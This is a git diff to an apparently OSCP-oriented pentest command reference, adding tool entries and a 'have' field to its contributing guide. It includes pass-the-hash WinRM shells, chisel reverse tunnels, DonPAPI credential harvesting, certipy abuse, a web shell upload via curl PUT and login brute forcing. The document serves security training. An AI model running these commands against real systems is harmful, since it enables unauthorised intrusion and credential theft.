Input from .zsh_history

CONTRIBUTING.md

@@ -44,6 +44,7 @@ references:
 | `category`    | yes      | `oscp` and/or `cli`. |
 | `service`     | yes      | One or more services (see below). |
 | `phase`       | yes      | One or more phases (see below). |
+| `have`        | see notes | Required whenever a command can authenticate with a hash, ticket, or certificate. Powers the "what you have" filter. |
 | `references`  | no       | List of URLs to docs/tooling. |
 
 \* Provide **either** `command` or `variants`, not both.
@@ -62,21 +63,23 @@ variants:
   - label: password
     command: |
       evil-winrm -i $IP -u $USER -p $PASSWORD
-  - label: pth
+  - label: hash
     command: |
       evil-winrm -i $IP -u $USER -H $HASH
 description: Interactive WinRM shell, by auth method.
 os: [Linux]
 category: [oscp, cli]
+have: [hash]
 service: [WinRM]
 phase: [Exploitation]
 references:
   - https://github.com/Hackplayers/evil-winrm
 ---
 ```
 
-`os`, `category`, `service`, and `phase` are shared across the whole entry, so
-list the union of what the variants need.
+`os`, `category`, `service`, `phase`, and `have` are shared across the whole
+entry, so list the union of what the variants need. Label a pass-the-hash
+variant `hash` rather than `pth`, so the label matches the `have` value.
 
 ### Variables
 
@@ -94,13 +97,15 @@ out in full: `/usr/share/wordlists/rockyou.txt`.
 - **os:** `Linux`, `Windows`
 - **category:** `oscp`, `cli`
 - **service:** `SMB`, `LDAP`, `Kerberos`, `WinRM`, `RDP`, `MSSQL`, `HTTP`, `SNMP`,
-  `DNS`, `RPC`, `Redis`, `MySQL`, `SSH`, `AD`, `ADCS`, `WMI`
+  `DNS`, `RPC`, `Redis`, `MySQL`, `SSH`, `AD`, `ADCS`, `WMI`, `FTP`, `NFS`,
+  `SMTP`, `IMAP`, `POP3`, `Oracle`, `PostgreSQL`
 - **phase:** `Enumeration`, `Exploitation`, `PrivEsc`, `Persistence`, `Cracking`,
   `Pivoting`, `LateralMovement`, `CredAccess`, `InitialAccess`
+- **have:** `hash`, `ticket`, `cert`
 
 Need a value that isn't listed? Add it to the matching file in
-[`_data/`](_data/) (`os.yml`, `category.yml`, `service.yml`, `phase.yml`) in the
-same PR.
+[`_data/`](_data/) (`os.yml`, `category.yml`, `service.yml`, `phase.yml`,
+`have.yml`) in the same PR.
 
 ### Install-set rules
 

_commands/autorecon.md

@@ -0,0 +1,20 @@
+---
+variants:
+  - label: single
+    command: |
+      autorecon $IP
+  - label: targets-file
+    command: |
+      autorecon -t targets.txt
+  - label: all-ports
+    command: |
+      autorecon $IP --port-scans top-100-ports --service-scans default
+description: Multi-threaded recon wrapper that runs nmap then per-service enumeration automatically
+os: [Linux]
+category: [oscp, cli]
+service: [SMB, HTTP, DNS]
+phase: [Enumeration]
+references:
+  - https://www.kali.org/tools/autorecon/
+  - https://github.com/Tib3rius/AutoRecon
+---

_commands/certipy.md

@@ -56,14 +56,17 @@ variants:
     command: |
       # authenticate with a pfx to recover the NT hash / get a TGT
       certipy auth -dc-ip $DCIP -pfx administrator.pfx
+      # when the pfx carries more than one identity, name the one you want
+      certipy auth -dc-ip $DCIP -pfx user.pfx -username $USER -domain $DOMAIN
       # if that fails, drop into an LDAP shell instead
       certipy auth -dc-ip $DCIP -pfx administrator.pfx -ldap-shell
 description: Enumerate and abuse AD CS with Certipy (ESC1 / ESC7 / ESC9 / shadow).
 os: [Linux]
 category: [oscp, cli]
 have: [hash, ticket, cert]
 service: [ADCS, Kerberos]
-phase: [Enumeration, PrivEsc]
+phase: [Enumeration, PrivEsc, CredAccess]
 references:
+  - https://www.kali.org/tools/certipy-ad/
   - https://github.com/ly4k/Certipy
 ---

_commands/cewl.md

@@ -0,0 +1,11 @@
+---
+command: |
+  cewl -d 2 -m 5 -w words.txt $URL
+description: Spider a site to depth 2 and build a custom wordlist of words 5 chars or longer
+os: [Linux]
+category: [oscp, cli]
+service: [HTTP]
+phase: [Cracking]
+references:
+  - https://www.kali.org/tools/cewl/
+---

_commands/chisel.md

@@ -0,0 +1,26 @@
+---
+variants:
+  - label: server-reverse
+    command: |
+      chisel server -p $LPORT --reverse
+  - label: client-reverse-socks
+    command: |
+      chisel client $LHOST:$LPORT R:socks
+  - label: client-reverse-fwd
+    command: |
+      chisel client $LHOST:$LPORT R:$LPORT:127.0.0.1:3306
+  - label: server-forward-socks
+    command: |
+      chisel server -p $LPORT --socks5
+  - label: client-forward-socks
+    command: |
+      chisel client $IP:$LPORT socks
+description: Fast TCP/UDP tunnel over HTTP for reverse SOCKS proxies and port forwarding through a foothold
+os: [Linux, Windows]
+category: [oscp, cli]
+service: [HTTP]
+phase: [Pivoting]
+references:
+  - https://gitlab.com/kalilinux/packages/chisel
+  - https://github.com/jpillora/chisel
+---

_commands/crunch.md

@@ -0,0 +1,18 @@
+---
+variants:
+  - label: from-names
+    command: |
+      crunch 1 1 -f fullnames.txt -t ,@^ -o usernames.txt 1
+  - label: charset
+    command: |
+      crunch 6 8 -f /usr/share/crunch/charset.lst mixalpha-numeric -o wordlist.txt
+  - label: pattern
+    command: |
+      crunch 8 8 -t Pass@,%% -o wordlist.txt
+description: Generate a targeted wordlist by length, charset, or pattern instead of reaching for rockyou
+os: [Linux]
+category: [oscp, cli]
+phase: [CredAccess, Cracking]
+references:
+  - https://www.kali.org/tools/crunch/
+---

_commands/curl.md

@@ -0,0 +1,25 @@
+---
+variants:
+  - label: get
+    command: |
+      curl -i $URL
+  - label: headers
+    command: |
+      curl -I $URL
+  - label: post-json
+    command: |
+      curl -X POST -H "Content-Type: application/json" -d '{"user":"admin"}' $URL
+  - label: put-upload
+    command: |
+      curl -X PUT --data-binary @shell.php $URL/shell.php
+  - label: proxy
+    command: |
+      curl -k -x http://127.0.0.1:8080 $URL
+description: Transfer data over HTTP for manual web testing, file upload, and proxying through Burp
+os: [Linux]
+category: [oscp, cli]
+service: [HTTP]
+phase: [Enumeration]
+references:
+  - https://www.kali.org/tools/curl/
+---

_commands/dig.md

@@ -0,0 +1,25 @@
+---
+variants:
+  - label: a-record
+    command: |
+      dig $DOMAIN @$IP
+  - label: any
+    command: |
+      dig ANY $DOMAIN @$IP
+  - label: zone-transfer
+    command: |
+      dig AXFR $DOMAIN @$IP
+  - label: reverse
+    command: |
+      dig -x $IP @$IP
+  - label: ns
+    command: |
+      dig NS $DOMAIN @$IP
+description: Query a DNS server for records and attempt a zone transfer against the target nameserver
+os: [Linux]
+category: [oscp, cli]
+service: [DNS]
+phase: [Enumeration]
+references:
+  - https://www.kali.org/tools/bind9/#dig
+---

_commands/dnsenum.md

@@ -0,0 +1,11 @@
+---
+command: |
+  dnsenum --dnsserver $IP $DOMAIN
+description: Enumerate DNS records, attempt zone transfers, and brute force subdomains for a domain
+os: [Linux]
+category: [oscp, cli]
+service: [DNS]
+phase: [Enumeration]
+references:
+  - https://www.kali.org/tools/dnsenum/
+---

_commands/donpapi.md

@@ -0,0 +1,20 @@
+---
+variants:
+  - label: creds
+    command: |
+      donpapi collect -u $USER -p $PASSWORD -d $DOMAIN --dc-ip $DCIP -t ALL
+  - label: hash
+    command: |
+      donpapi collect -u $USER -H ':$HASH' -d $DOMAIN --dc-ip $DCIP -t ALL --fetch-pvk
+  - label: browse
+    command: |
+      donpapi browse
+description: Mass harvest DPAPI protected browser, wifi, and credential manager secrets across hosts
+os: [Linux]
+category: [oscp, cli]
+have: [hash]
+service: [SMB]
+phase: [CredAccess]
+references:
+  - https://github.com/login-securite/DonPAPI
+---

_commands/enum4linux.md

@@ -0,0 +1,16 @@
+---
+variants:
+  - label: all-null
+    command: |
+      enum4linux -a $IP
+  - label: all-creds
+    command: |
+      enum4linux -a -u $USER -p $PASSWORD $IP
+description: Enumerate SMB shares, users, groups, and policy over null or authenticated sessions
+os: [Linux]
+category: [oscp, cli]
+service: [SMB]
+phase: [Enumeration]
+references:
+  - https://www.kali.org/tools/enum4linux/
+---

_commands/evil-winrm.md

@@ -12,12 +12,16 @@ variants:
   - label: cert
     command: |
       evil-winrm -i $IP -c pub.pem -k priv.pem -S -r $DOMAIN
-description: Interactive WinRM shell, by auth method.
+  - label: scripts
+    command: |
+      evil-winrm -i $IP -u $USER -p $PASSWORD -s /scripts -e /executables
+description: Interactive WinRM shell, by auth method, with script and executable loading
 os: [Linux]
 category: [oscp, cli]
 have: [hash, ticket, cert]
 service: [WinRM]
-phase: [Exploitation]
+phase: [Exploitation, LateralMovement]
 references:
+  - https://www.kali.org/tools/evil-winrm/
   - https://github.com/Hackplayers/evil-winrm
 ---

_commands/ffuf.md

@@ -1,11 +1,23 @@
 ---
-command: |
-  ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 300 -fs 3142
-description: Directory fuzz a web server filtering by response size.
+variants:
+  - label: dir
+    command: |
+      ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
+  - label: vhost
+    command: |
+      ffuf -u $URL -H "Host: FUZZ.$DOMAIN" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 4242
+  - label: post-login
+    command: |
+      ffuf -u $URL/login -X POST -d "username=admin&password=FUZZ" -w /usr/share/wordlists/rockyou.txt -fc 200
+  - label: params
+    command: |
+      ffuf -u "$URL/?FUZZ=value" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
+description: Fast web fuzzer for directories, vhosts, login fields, and parameters with response filtering
 os: [Linux]
 category: [oscp, cli]
 service: [HTTP]
 phase: [Enumeration]
 references:
+  - https://www.kali.org/tools/ffuf/
   - https://github.com/ffuf/ffuf
 ---

_commands/fierce.md

@@ -0,0 +1,11 @@
+---
+command: |
+  fierce --domain $DOMAIN --dns-servers $IP
+description: Locate non-contiguous IP space and hostnames for a domain via DNS scanning
+os: [Linux]
+category: [oscp, cli]
+service: [DNS]
+phase: [Enumeration]
+references:
+  - https://www.kali.org/tools/fierce/
+---

_commands/finalrecon.md

@@ -0,0 +1,17 @@
+---
+variants:
+  - label: full
+    command: |
+      finalrecon --full --url $URL
+  - label: headers-whois
+    command: |
+      finalrecon --headers --whois --url $URL
+description: All in one web recon covering headers, SSL, whois, DNS, subdomains, and crawling
+os: [Linux]
+category: [oscp, cli]
+service: [HTTP]
+phase: [Enumeration]
+references:
+  - https://www.kali.org/tools/finalrecon/
+  - https://github.com/thewhiteh4t/FinalRecon
+---

_commands/ftp.md

@@ -0,0 +1,16 @@
+---
+variants:
+  - label: connect
+    command: |
+      ftp $IP
+  - label: anonymous
+    command: |
+      ftp anonymous@$IP
+description: Connect to an FTP service to test anonymous access and browse the file store
+os: [Linux]
+category: [oscp, cli]
+service: [FTP]
+phase: [Enumeration]
+references:
+  - https://www.kali.org/tools/tnftp/
+---

_commands/getnthash.md

@@ -0,0 +1,13 @@
+---
+command: |
+  export KRB5CCNAME=out.ccache
+  uv run getnthash.py -key $ASREPKEY $DOMAIN/$USER
+description: Recover the NT hash of an account from the PKINIT session key returned by gettgtpkinit
+os: [Linux]
+category: [oscp, cli]
+have: [ticket]
+service: [Kerberos]
+phase: [CredAccess]
+references:
+  - https://github.com/dirkjanm/PKINITtools
+---

_commands/gobuster.md

@@ -0,0 +1,20 @@
+---
+variants:
+  - label: dir
+    command: |
+      gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
+  - label: dns
+    command: |
+      gobuster dns -d $DOMAIN -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
+  - label: vhost
+    command: |
+      gobuster vhost -u $URL -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
+description: Brute force web content, DNS subdomains, and virtual hosts by mode
+os: [Linux]
+category: [oscp, cli]
+service: [HTTP, DNS]
+phase: [Enumeration]
+references:
+  - https://www.kali.org/tools/gobuster/
+  - https://github.com/OJ/gobuster
+---

_commands/gpp-decrypt.md

@@ -0,0 +1,17 @@
+---
+variants:
+  - label: decrypt
+    command: |
+      gpp-decrypt '$CPASSWORD'
+  - label: hunt-sysvol
+    command: |
+      grep -ril cpassword /mnt/sysvol
+      gpp-decrypt '$CPASSWORD'
+description: Decrypt a cpassword value pulled from a SYSVOL Group Policy Preferences XML file
+os: [Linux]
+category: [oscp, cli]
+service: [SMB, AD]
+phase: [CredAccess]
+references:
+  - https://www.kali.org/tools/gpp-decrypt/
+---